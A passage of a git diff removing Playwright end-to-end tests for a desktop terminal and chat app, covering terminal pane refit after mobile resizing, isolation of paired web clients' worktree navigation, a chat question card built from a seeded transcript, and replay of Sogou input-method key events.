rows: 20 }) - await expect(orcaPage.locator('.mobile-driver-banner')).toHaveCount(1, { timeout: 15_000 }) - await expect - .poll(() => getPaneTerminalCols(orcaPage, ptyId), { - message: 'test harness should hold the active pane in the bad narrow state' - }) - .toBeLessThanOrEqual(2) - - await orcaPage - .locator(`[data-pty-id="${ptyId}"] .mobile-driver-banner`) - .getByRole('button', { name: /^restore$/i }) - .click() - - await expectRestoreTerminalFitCalls(electronApp, [ptyId]) - await expect - .poll(() => getPaneTerminalCols(orcaPage, ptyId), { - timeout: 5_000, - message: 'Restore should refit the active restored pane' - }) - .toBeGreaterThan(20) -}) - -test('restore all refits non-focused restored terminal panes', async ({ - orcaPage, - electronApp -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await splitActiveTerminalPane(orcaPage, 'vertical') - const ptyIds = await waitForVisiblePanePtyIds(orcaPage, 2) - const focusPtyId = await waitForActivePanePtyId(orcaPage) - const inactivePtyId = ptyIds.find((ptyId) => ptyId !== focusPtyId) - if (!inactivePtyId || !focusPtyId) { - throw new Error('Expected two visible terminal panes with PTY bindings') - } - await installRestoreTerminalFitAutoRestoreRecorder(electronApp) - - await sendHeldPhoneFitIpc(electronApp, { ptyId: inactivePtyId, cols: 45, rows: 20 }) - await sendHeldPhoneFitIpc(electronApp, { ptyId: focusPtyId, cols: 45, rows: 20 }) - await expect(orcaPage.locator('.mobile-driver-banner')).toHaveCount(2, { timeout: 15_000 }) - - await forcePaneToOneColumn(orcaPage, inactivePtyId) - await expect - .poll(() => getPaneTerminalCols(orcaPage, inactivePtyId), { - message: 'test harness should force the non-focused pane into the bad narrow state' - }) - .toBeLessThanOrEqual(2) - - await orcaPage - .locator(`[data-pty-id="${focusPtyId}"] .mobile-driver-banner`) - .getByRole('button', { name: /^restore all$/i }) - .click() - - await expectRestoreTerminalFitCallSet(electronApp, [inactivePtyId, focusPtyId]) - await expect - .poll(() => getPaneTerminalCols(orcaPage, inactivePtyId), { - timeout: 5_000, - message: 'Restore all should refit the non-focused restored pane' - }) - .toBeGreaterThan(20) -}) - -test('restore all recovers a hidden workspace held at narrow terminal geometry', async ({ - orcaPage, - electronApp -}) => { - await waitForSessionReady(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (worktreeId) => worktreeId !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'hidden-workspace restore repro needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const hiddenWorkspacePtyId = await waitForActivePanePtyId(orcaPage) - await sendHeldPhoneFitIpc(electronApp, { ptyId: hiddenWorkspacePtyId, cols: 45, rows: 20 }) - await expect(orcaPage.locator('.mobile-driver-banner')).toHaveCount(1, { timeout: 15_000 }) - - await forcePaneToOneColumnAndSwitchWorktree(orcaPage, hiddenWorkspacePtyId, secondWorktreeId) - await expect - .poll(() => getActiveWorktreeId(orcaPage), { - timeout: 5_000, - message: 'second worktree should become active before restore-all' - }) - .toBe(secondWorktreeId) - await expect - .poll(() => getPaneTerminalCols(orcaPage, hiddenWorkspacePtyId), { - message: 'test harness should hold workspace 1 in the bad narrow state' - }) - .toBeLessThanOrEqual(2) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const activeWorkspacePtyId = await waitForActivePanePtyId(orcaPage) - await installRestoreTerminalFitAutoRestoreRecorder(electronApp) - await sendHeldPhoneFitIpc(electronApp, { ptyId: activeWorkspacePtyId, cols: 45, rows: 20 }) - await expect( - orcaPage.locator(`[data-pty-id="${activeWorkspacePtyId}"] .mobile-driver-banner`) - ).toBeVisible({ timeout: 15_000 }) - - await orcaPage - .locator(`[data-pty-id="${activeWorkspacePtyId}"] .mobile-driver-banner`) - .getByRole('button', { name: /^restore all$/i }) - .click() - - await expectRestoreTerminalFitCallSet(electronApp, [hiddenWorkspacePtyId, activeWorkspacePtyId]) - - await switchToWorktree(orcaPage, firstWorktreeId) - await expect - .poll(() => getActiveWorktreeId(orcaPage), { - timeout: 5_000, - message: 'first worktree should become active after restore-all' - }) - .toBe(firstWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await expect - .poll(() => getPaneTerminalCols(orcaPage, hiddenWorkspacePtyId), { - timeout: 5_000, - message: 'Restore all should refit the hidden workspace when it becomes visible' - }) - .toBeGreaterThan(20) -}) - -async function sendMobileSubscribeIpc( - electronApp: ElectronApplication, - args: { ptyId: string; cols: number; rows: number } -): Promise { - await electronApp.evaluate(({ BrowserWindow }, payload) => { - const wins = BrowserWindow.getAllWindows() - for (const win of wins) { - win.webContents.send('runtime:terminalFitOverrideChanged', { - ptyId: payload.ptyId, - mode: 'mobile-fit', - cols: payload.cols, - rows: payload.rows - }) - win.webContents.send('runtime:terminalDriverChanged', { - ptyId: payload.ptyId, - driver: { kind: 'mobile', clientId: 'fake-phone-1' } - }) - } - }, args) -} - -async function sendHeldPhoneFitIpc( - electronApp: ElectronApplication, - args: { ptyId: string; cols: number; rows: number } -): Promise { - await electronApp.evaluate(({ BrowserWindow }, payload) => { - const wins = BrowserWindow.getAllWindows() - for (const win of wins) { - win.webContents.send('runtime:terminalFitOverrideChanged', { - ptyId: payload.ptyId, - mode: 'mobile-fit', - cols: payload.cols, - rows: payload.rows - }) - win.webContents.send('runtime:terminalDriverChanged', { - ptyId: payload.ptyId, - driver: { kind: 'idle' } - }) - } - }, args) -} - -async function sendDesktopRestoreIpc( - electronApp: ElectronApplication, - args: { ptyId: string } -): Promise { - await electronApp.evaluate(({ BrowserWindow }, payload) => { - const wins = BrowserWindow.getAllWindows() - for (const win of wins) { - win.webContents.send('runtime:terminalFitOverrideChanged', { - ptyId: payload.ptyId, - mode: 'desktop-fit', - cols: 0, - rows: 0 - }) - win.webContents.send('runtime:terminalDriverChanged', { - ptyId: payload.ptyId, - driver: { kind: 'idle' } - }) - } - }, args) -} - -async function installRestoreTerminalFitRecorder(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(({ ipcMain }) => { - const testGlobal = globalThis as typeof globalThis & { - __mobileBannerRestoreCalls?: string[] - } - testGlobal.__mobileBannerRestoreCalls = [] - // No real subscriber exists: intercept only main’s restore handler to verify the production channel/payload, then mirror its events. - ipcMain.removeHandler('runtime:restoreTerminalFit') - ipcMain.handle('runtime:restoreTerminalFit', (_event, args: { ptyId: string }) => { - testGlobal.__mobileBannerRestoreCalls?.push(args.ptyId) - return { restored: true } - }) - }) -} - -async function installRestoreTerminalFitAutoRestoreRecorder( - electronApp: ElectronApplication -): Promise { - await electronApp.evaluate(({ BrowserWindow, ipcMain }) => { - const testGlobal = globalThis as typeof globalThis & { - __mobileBannerRestoreCalls?: string[] - } - testGlobal.__mobileBannerRestoreCalls = [] - // Production clears the fit override and restores desktop control; mirror both events. - ipcMain.removeHandler('runtime:restoreTerminalFit') - ipcMain.handle('runtime:restoreTerminalFit', (_event, args: { ptyId: string }) => { - testGlobal.__mobileBannerRestoreCalls?.push(args.ptyId) - for (const win of BrowserWindow.getAllWindows()) { - win.webContents.send('runtime:terminalFitOverrideChanged', { - ptyId: args.ptyId, - mode: 'desktop-fit', - cols: 0, - rows: 0 - }) - win.webContents.send('runtime:terminalDriverChanged', { - ptyId: args.ptyId, - driver: { kind: 'desktop' } - }) - } - return { restored: true } - }) - }) -} - -async function expectRestoreTerminalFitCalls( - electronApp: ElectronApplication, - expected: string[] -): Promise { - await expect - .poll( - () => - electronApp.evaluate( - () => - ( - globalThis as typeof globalThis & { - __mobileBannerRestoreCalls?: string[] - } - ).__mobileBannerRestoreCalls ?? [] - ), - { message: 'restoreTerminalFit should be invoked through the production IPC channel' } - ) - .toEqual(expected) -} - -async function expectRestoreTerminalFitCallSet( - electronApp: ElectronApplication, - expected: string[] -): Promise { - await expect - .poll( - () => - electronApp.evaluate( - () => - ( - globalThis as typeof globalThis & { - __mobileBannerRestoreCalls?: string[] - } - ).__mobileBannerRestoreCalls ?? [] - ), - { message: 'restore all should invoke the production restore channel for each PTY' } - ) - .toEqual(expect.arrayContaining(expected)) -} - -async function waitForVisiblePanePtyIds(page: Page, expectedCount: number): Promise { - let ptyIds: string[] = [] - await expect - .poll( - async () => { - ptyIds = await page.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeTabId - const manager = tabId ? window.__paneManagers?.get(tabId) : null - return (manager?.getPanes?.() ?? []) - .map((pane) => pane.container?.dataset?.ptyId ?? null) - .filter((ptyId): ptyId is string => Boolean(ptyId)) - }) - return ptyIds.length - }, - { - timeout: 15_000, - message: `Expected ${expectedCount} visible panes with PTY bindings` - } - ) - .toBe(expectedCount) - return ptyIds -} - -async function forcePaneToOneColumn(page: Page, ptyId: string): Promise { - await page.evaluate((targetPtyId) => { - for (const manager of window.__paneManagers?.values?.() ?? []) { - const pane = manager - .getPanes?.() - .find((candidate) => candidate.container.dataset.ptyId === targetPtyId) - if (pane) { - pane.terminal.resize(1, Math.max(8, pane.terminal.rows)) - pane.terminal.refresh(0, pane.terminal.rows - 1) - return - } - } - throw new Error(`No pane found for PTY ${targetPtyId}`) - }, ptyId) -} - -async function forcePaneToOneColumnAndSwitchWorktree( - page: Page, - ptyId: string, - worktreeId: string -): Promise { - await page.evaluate( - ({ targetPtyId, targetWorktreeId }) => { - for (const manager of window.__paneManagers?.values?.() ?? []) { - const pane = manager - .getPanes?.() - .find((candidate) => candidate.container.dataset.ptyId === targetPtyId) - if (pane) { - // Reproduce phone-sized xterm layout inherited while the workspace is hidden. - pane.terminal.resize(1, Math.max(8, pane.terminal.rows)) - pane.terminal.refresh(0, pane.terminal.rows - 1) - window.__store?.getState().setActiveWorktree(targetWorktreeId) - return - } - } - throw new Error(`No pane found for PTY ${targetPtyId}`) - }, - { targetPtyId: ptyId, targetWorktreeId: worktreeId } - ) -} - -async function getPaneTerminalCols(page: Page, ptyId: string): Promise { - return page.evaluate((targetPtyId) => { - for (const manager of window.__paneManagers?.values?.() ?? []) { - const pane = manager - .getPanes?.() - .find((candidate) => candidate.container.dataset.ptyId === targetPtyId) - if (pane) { - return pane.terminal.cols - } - } - return 0 - }, ptyId) -} - -async function expectExpandedOverlayLeavesPaneReadable(page: Page, ptyId: string): Promise { - await expect - .poll( - () => - page.evaluate((targetPtyId) => { - const pane = Array.from(document.querySelectorAll('[data-pty-id]')).find( - (node) => node.dataset.ptyId === targetPtyId - ) - const overlay = document.querySelector('.mobile-driver-banner') - if (!pane || !overlay) { - return false - } - const style = getComputedStyle(overlay) - const hasTransparentBackground = - style.backgroundColor === 'rgba(0, 0, 0, 0)' || style.backgroundColor === 'transparent' - const webkitBackdropFilter = ( - style as CSSStyleDeclaration & { webkitBackdropFilter?: string } - ).webkitBackdropFilter - const hasNoBackdropFilter = - (style.backdropFilter === 'none' || style.backdropFilter === '') && - (webkitBackdropFilter === undefined || - webkitBackdropFilter === '' || - webkitBackdropFilter === 'none') - const paneBox = pane.getBoundingClientRect() - const overlayBox = overlay.getBoundingClientRect() - return ( - hasTransparentBackground && - hasNoBackdropFilter && - Math.abs(overlayBox.left - paneBox.left) <= 2 && - Math.abs(overlayBox.top - paneBox.top) <= 2 && - overlayBox.width >= paneBox.width - 2 && - overlayBox.height >= paneBox.height - 2 - ) - }, ptyId), - { message: 'expanded overlay should not dim or blur the terminal pane' } - ) - .toBe(true) -} - -async function expectChipIsCompactInPane(page: Page, ptyId: string): Promise { - await expect - .poll( - () => - page.evaluate((targetPtyId) => { - const pane = Array.from(document.querySelectorAll('[data-pty-id]')).find( - (node) => node.dataset.ptyId === targetPtyId - ) - const chip = document.querySelector('.mobile-driver-banner') - if (!pane || !chip) { - return false - } - const paneBox = pane.getBoundingClientRect() - const chipBox = chip.getBoundingClientRect() - const rightInset = paneBox.right - chipBox.right - const topInset = chipBox.top - paneBox.top - return ( - chipBox.width < paneBox.width * 0.6 && - chipBox.height <= 40 && - rightInset >= 6 && - rightInset <= 16 && - topInset >= 6 && - topInset <= 16 - ) - }, ptyId), - { message: 'collapsed chip should stay compact in the terminal pane corner' } - ) - .toBe(true) -} - -// Attach via outputPath so list-reporter screenshots reliably reach playwright-traces artifacts. -async function captureAttachment(page: Page, testInfo: TestInfo, fileName: string): Promise { - const dest = testInfo.outputPath(fileName) - await page.screenshot({ path: dest, fullPage: true }) - await testInfo.attach(fileName, { path: dest, contentType: 'image/png' }) -} diff --git a/tests/e2e/multi-client-navigation-isolation.spec.ts b/tests/e2e/multi-client-navigation-isolation.spec.ts deleted file mode 100644 index 604f9c4c499..00000000000 --- a/tests/e2e/multi-client-navigation-isolation.spec.ts +++ /dev/null @@ -1,262 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { randomUUID } from 'node:crypto' -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { worktreeRow, worktreeRowSurface } from './worktree-row-locators' - -type RuntimePairingOffer = { - deviceId: string - webClientUrl: string -} - -type TestWorktreeIds = { - host: string - clientA: string - clientB: string - clientA2: string -} - -const isPairedBrowserRun = process.env.ORCA_E2E_WEB_CLIENT === '1' - -test.skip( - !isPairedBrowserRun, - 'Run with pnpm test:e2e:multi-client-navigation so the paired web client is built' -) - -function addGitWorktree(repoPath: string, branchName: string): void { - const worktreePath = path.join(path.dirname(repoPath), `e2e-test-${branchName}`) - execFileSync('git', ['worktree', 'add', '-b', branchName, worktreePath], { - cwd: repoPath, - stdio: 'pipe' - }) -} - -async function loadTestWorktreeIds( - hostPage: Page, - branchA: string, - branchB: string -): Promise { - return hostPage.evaluate( - async ({ branchA, branchB }) => { - const store = window.__store - if (!store) { - return null - } - const repo = store.getState().repos[0] - if (!repo) { - return null - } - await store.getState().fetchWorktrees(repo.id) - const worktrees = store.getState().worktreesByRepo[repo.id] ?? [] - const host = worktrees.find((worktree) => worktree.branch === 'refs/heads/e2e-secondary') - const clientA = worktrees.find((worktree) => worktree.branch === `refs/heads/${branchA}`) - const clientB = worktrees.find((worktree) => worktree.branch === `refs/heads/${branchB}`) - const clientA2 = worktrees.find((worktree) => worktree.isMainWorktree) - if (!host || !clientA || !clientB || !clientA2) { - return null - } - return { - host: host.id, - clientA: clientA.id, - clientB: clientB.id, - clientA2: clientA2.id - } - }, - { branchA, branchB } - ) -} - -async function createPairingOffer(hostPage: Page): Promise { - return hostPage.evaluate(async () => { - const offer = await window.api.mobile.getRuntimePairingUrl({ - address: '127.0.0.1', - rotate: true - }) - if (!offer.available || !offer.webClientUrl) { - const reason = offer.available ? 'web client URL is missing' : 'runtime server is unavailable' - throw new Error(`Runtime web client pairing failed: ${reason}`) - } - return { deviceId: offer.deviceId, webClientUrl: offer.webClientUrl } - }) -} - -async function openPairedClient( - electronApp: ElectronApplication, - offer: RuntimePairingOffer, - visibleWorktreeId: string -): Promise { - const pagePromise = electronApp.waitForEvent('window') - await electronApp.evaluate( - async ({ BrowserWindow }, { partition, url }) => { - const clientWindow = new BrowserWindow({ - height: 1200, - show: false, - width: 1440, - webPreferences: { - contextIsolation: true, - nodeIntegration: false, - partition, - sandbox: true - } - }) - await clientWindow.loadURL(url) - }, - { - partition: `e2e-paired-client-${randomUUID()}`, - url: offer.webClientUrl - } - ) - const page = await pagePromise - await expect(page.locator('[data-worktree-sidebar]')).toBeVisible({ timeout: 30_000 }) - await expect(worktreeRow(page, visibleWorktreeId)).toBeVisible({ timeout: 30_000 }) - return page -} - -async function selectWorktree(page: Page, worktreeId: string): Promise { - await worktreeRowSurface(page, worktreeId).click() - await expectActiveWorktree(page, worktreeId) -} - -async function expectActiveWorktree(page: Page, worktreeId: string): Promise { - await expect(page.locator('[data-rendered-active-worktree-id]')).toHaveAttribute( - 'data-rendered-active-worktree-id', - worktreeId - ) -} - -test('keeps a paired client workspace create-with-agent off the other client and the host', async ({ - orcaPage, - electronApp, - testRepoPath -}) => { - const suffix = randomUUID().slice(0, 8) - const branchA = `e2e-create-a-${suffix}` - const branchB = `e2e-create-b-${suffix}` - addGitWorktree(testRepoPath, branchA) - addGitWorktree(testRepoPath, branchB) - - await expect - .poll(() => loadTestWorktreeIds(orcaPage, branchA, branchB), { - timeout: 30_000, - message: 'Expected host plus client-selectable worktrees' - }) - .not.toBeNull() - const ids = await loadTestWorktreeIds(orcaPage, branchA, branchB) - if (!ids) { - throw new Error('Test worktrees disappeared after discovery') - } - - await selectWorktree(orcaPage, ids.host) - - let clientA: Page | null = null - let clientB: Page | null = null - try { - const offerA = await createPairingOffer(orcaPage) - clientA = await openPairedClient(electronApp, offerA, ids.clientA) - await selectWorktree(clientA, ids.clientA) - - const offerB = await createPairingOffer(orcaPage) - clientB = await openPairedClient(electronApp, offerB, ids.clientB) - await selectWorktree(clientB, ids.clientB) - - // A startup-command create is the remote shape sent with activate:true (STA-2802). - const createdWorktreeId = await clientA.evaluate(async (name) => { - const store = window.__store - if (!store) { - throw new Error('paired client store unavailable') - } - const state = store.getState() - const repoId = state - .allWorktrees() - .find((worktree) => worktree.id === state.activeWorktreeId)?.repoId - if (!repoId) { - throw new Error('active worktree has no repo') - } - const result = await state.createWorktree( - repoId, - name, - undefined, - 'skip', - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - { command: 'echo sta-2802-startup' } - ) - return result.worktree.id - }, `e2e-created-${suffix}`) - - await expect(worktreeRow(clientB, createdWorktreeId)).toBeVisible({ timeout: 30_000 }) - await expectActiveWorktree(clientB, ids.clientB) - await expectActiveWorktree(orcaPage, ids.host) - - // Drive creator selection directly; composer auto-navigation is outside this journey. - await selectWorktree(clientA, createdWorktreeId) - await expectActiveWorktree(clientB, ids.clientB) - await expectActiveWorktree(orcaPage, ids.host) - - await selectWorktree(clientB, ids.clientA2) - await expectActiveWorktree(clientA, createdWorktreeId) - await expectActiveWorktree(orcaPage, ids.host) - } finally { - await clientB?.close() - await clientA?.close() - } -}) - -test('routes Add Project folder browsing through the paired host', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const hostFolder = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-web-folder-')) - const folderName = path.basename(hostFolder) - registerPostElectronShutdownCleanup(async () => { - rmSync(hostFolder, { recursive: true, force: true }) - }) - const visibleWorktreeId = await orcaPage.evaluate( - () => window.__store?.getState().activeWorktreeId - ) - if (!visibleWorktreeId) { - throw new Error('Host worktree was not active before paired web validation') - } - - const offer = await createPairingOffer(orcaPage) - const client = await openPairedClient(electronApp, offer, visibleWorktreeId) - try { - await client - .locator('[data-sidebar-header-actions]') - .getByRole('button', { name: 'Add project', exact: true }) - .click() - const addMenu = client.getByRole('menu', { name: 'Add project', exact: true }) - await expect(addMenu).toBeVisible() - await expect(addMenu).not.toContainText('Local Mac') - - await addMenu.getByRole('menuitem', { name: /Browse folder/i }).click() - const browser = client.getByRole('dialog', { name: /Browse host filesystem/i }) - await expect(browser).toBeVisible() - await expect(browser.getByRole('button', { name: /Select folder/i })).toBeVisible() - await browser.getByRole('button', { name: /^Cancel$/i }).click() - - const manualPathDialog = client.getByRole('dialog', { name: /Open host project/i }) - await manualPathDialog.locator('#server-project-path').fill(hostFolder) - await manualPathDialog.getByRole('button', { name: /Open as Folder/i }).click() - await expect(manualPathDialog).toBeHidden({ timeout: 30_000 }) - await expect( - client.locator('[data-worktree-sidebar]').getByText(folderName, { exact: true }).first() - ).toBeVisible({ timeout: 30_000 }) - } finally { - await client.close() - } -}) diff --git a/tests/e2e/native-chat-ask-user-question-card.spec.ts b/tests/e2e/native-chat-ask-user-question-card.spec.ts deleted file mode 100644 index 5329dea9e41..00000000000 --- a/tests/e2e/native-chat-ask-user-question-card.spec.ts +++ /dev/null @@ -1,171 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import type { GlobalSettings } from '../../src/shared/settings/global-settings-types' - -const QUESTION = 'Tabs or spaces?' - -async function enableNativeChatSetting(page: Page): Promise { - await page.evaluate(async () => { - const nextSettings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - window.__store?.setState({ settings: nextSettings as GlobalSettings }) - }) -} - -// #11761: model paired-headless status with identity/working state but no interactivePrompt/toolName; only the transcript carries the ask. -async function seedStatusWithoutAskPayload( - page: Page, - args: { paneKey: string; worktreeId: string; sessionId: string; transcriptPath: string } -): Promise { - await page.evaluate(({ paneKey, worktreeId, sessionId, transcriptPath }) => { - window.__store - ?.getState() - .setAgentStatus( - paneKey, - { state: 'working', prompt: 'AskUserQuestion card proof', agentType: 'claude' }, - 'Claude', - undefined, - { worktreeId }, - { providerSession: { key: 'session_id', id: sessionId, transcriptPath } } - ) - }, args) -} - -async function toggleTerminalTabToChatView( - page: Page, - args: { tabId: string; worktreeId: string } -): Promise { - await page.evaluate(({ tabId, worktreeId }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const unifiedTab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (tab) => tab.contentType === 'terminal' && tab.entityId === tabId - ) - if (!unifiedTab) { - throw new Error('Unified terminal tab not found for chat toggle') - } - state.toggleTabViewMode(unifiedTab.id) - }, args) -} - -/** A transcript whose last assistant turn leaves an AskUserQuestion unanswered. */ -function pendingAskTranscript(args: { sessionId: string; userText: string }): string { - const userTime = new Date() - const assistantTime = new Date(userTime.getTime() + 2_000) - const lines = [ - { - sessionId: args.sessionId, - uuid: `${args.sessionId}-user`, - timestamp: userTime.toISOString(), - type: 'user', - message: { role: 'user', content: [{ type: 'text', text: args.userText }] } - }, - { - sessionId: args.sessionId, - uuid: `${args.sessionId}-assistant`, - timestamp: assistantTime.toISOString(), - type: 'assistant', - message: { - model: 'claude-opus-4', - content: [ - { type: 'text', text: 'Before I reformat the file I need one decision from you.' }, - { - type: 'tool_use', - name: 'AskUserQuestion', - input: { - questions: [ - { - question: QUESTION, - header: 'Style', - multiSelect: false, - options: [{ label: 'Tabs' }, { label: 'Spaces' }] - } - ] - } - } - ] - } - } - ] - return `${lines.map((line) => JSON.stringify(line)).join('\n')}\n` -} - -test.describe('Desktop chat AskUserQuestion card (#11761)', () => { - test('renders the answerable question card from the transcript when live status carries no ask', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-ask-card-${randomUUID()}` - - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-ask-card-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - const screenshotDir = path.join(process.cwd(), 'validation-screenshots', 'ask-user-question') - mkdirSync(screenshotDir, { recursive: true }) - - try { - const userText = 'Reformat the config file for me' - writeFileSync(transcriptPath, pendingAskTranscript({ sessionId, userText })) - - await enableNativeChatSetting(orcaPage) - await seedStatusWithoutAskPayload(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - sessionId, - transcriptPath - }) - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible({ - timeout: 15_000 - }) - await expect(orcaPage.getByText(userText)).toBeVisible({ timeout: 30_000 }) - - // Gate on the card’s title: awaiting-input transcript rows also contain the question (#20724). - const cardQuestion = orcaPage - .getByTestId('native-chat-question-card-title') - .filter({ hasText: QUESTION }) - await expect(cardQuestion).toBeVisible({ timeout: 10_000 }) - await expect(orcaPage.getByRole('button', { name: /Spaces/ })).toBeVisible() - await orcaPage.screenshot({ path: path.join(screenshotDir, '01-question-card.png') }) - - // A final single-select pick auto-submits (#26288), proving the card accepts answers. - await orcaPage.getByRole('button', { name: /Spaces/ }).click() - // Require card dismissal and composer return; the transcript keeps its resolution receipt. - await expect(cardQuestion).toHaveCount(0, { timeout: 20_000 }) - await orcaPage.screenshot({ path: path.join(screenshotDir, '03-answered.png') }) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible() - } finally { - rmSync(scratchDir, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/native-chat-composer-linux-sogou-commit.spec.ts b/tests/e2e/native-chat-composer-linux-sogou-commit.spec.ts deleted file mode 100644 index f1fc00b90f7..00000000000 --- a/tests/e2e/native-chat-composer-linux-sogou-commit.spec.ts +++ /dev/null @@ -1,230 +0,0 @@ -// Replay recorded fcitx4-sogou X11 events: pinyin keyups, plain selector/insertText for characters, Process/229 for phrases, no composition events. - -import { randomUUID } from 'node:crypto' -import { mkdtempSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { CDPSession, Locator } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -type Key = { key: string; code: string; keyCode: number } - -function claudeTranscript(sessionId: string): string { - const startedAt = Date.now() - 60_000 - return `${[ - ['user', 'hello'], - ['assistant', 'Ready for input.'] - ] - .map(([role, text], index) => - JSON.stringify({ - sessionId, - uuid: `${sessionId}-${index}`, - timestamp: new Date(startedAt + index * 1_000).toISOString(), - type: role, - message: { - role, - model: 'claude-opus-4', - content: [{ type: 'text', text }] - } - }) - ) - .join('\n')}\n` -} - -function draft(composer: Locator): Promise { - return composer.evaluate((element) => - Array.from(element.querySelectorAll('p'), (line) => line.textContent ?? '').join('\n') - ) -} - -async function pinyinKeyUps(session: CDPSession, letters: string): Promise { - // Why: the IME grabs each pinyin keydown; the page only sees its release. - for (const letter of letters) { - const keyCode = letter.toUpperCase().charCodeAt(0) - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: letter, - code: `Key${letter.toUpperCase()}`, - windowsVirtualKeyCode: keyCode, - nativeVirtualKeyCode: keyCode - }) - } -} - -async function plainSelectorPick( - session: CDPSession, - selector: Key, - text: string, - // XIM reports the selector keydown as key NUL / keyCode 0; its keyup is the real key. - down: Pick = selector -): Promise { - // keyDown text produces the recorded selector → candidate keypress → insertText sequence. - await session.send('Input.dispatchKeyEvent', { - type: 'keyDown', - key: down.key, - code: selector.code, - windowsVirtualKeyCode: down.keyCode, - nativeVirtualKeyCode: down.keyCode, - text, - unmodifiedText: text - }) - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: selector.key, - code: selector.code, - windowsVirtualKeyCode: selector.keyCode, - nativeVirtualKeyCode: selector.keyCode - }) -} - -async function processPhrasePick(session: CDPSession, selector: Key, text: string): Promise { - await session.send('Input.dispatchKeyEvent', { - type: 'rawKeyDown', - key: 'Process', - code: selector.code, - windowsVirtualKeyCode: 229, - nativeVirtualKeyCode: 229 - }) - await session.send('Input.insertText', { text }) - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: selector.key, - code: selector.code, - windowsVirtualKeyCode: selector.keyCode, - nativeVirtualKeyCode: selector.keyCode - }) -} - -test('Linux Sogou commits land in the native chat composer', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-sogou-composer-${randomUUID()}` - const transcriptPath = path.join( - mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-sogou-composer-')), - `${sessionId}.jsonl` - ) - writeFileSync(transcriptPath, claudeTranscript(sessionId)) - - await orcaPage.evaluate( - async ({ paneKey, worktreeId, tabId, sessionId, transcriptPath }) => { - const settings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - store.setState({ settings }) - const state = store.getState() - state.setAgentStatus( - paneKey, - { state: 'done', prompt: 'e2e sogou composer', agentType: 'claude' }, - 'Claude', - undefined, - { worktreeId }, - { - providerSession: { key: 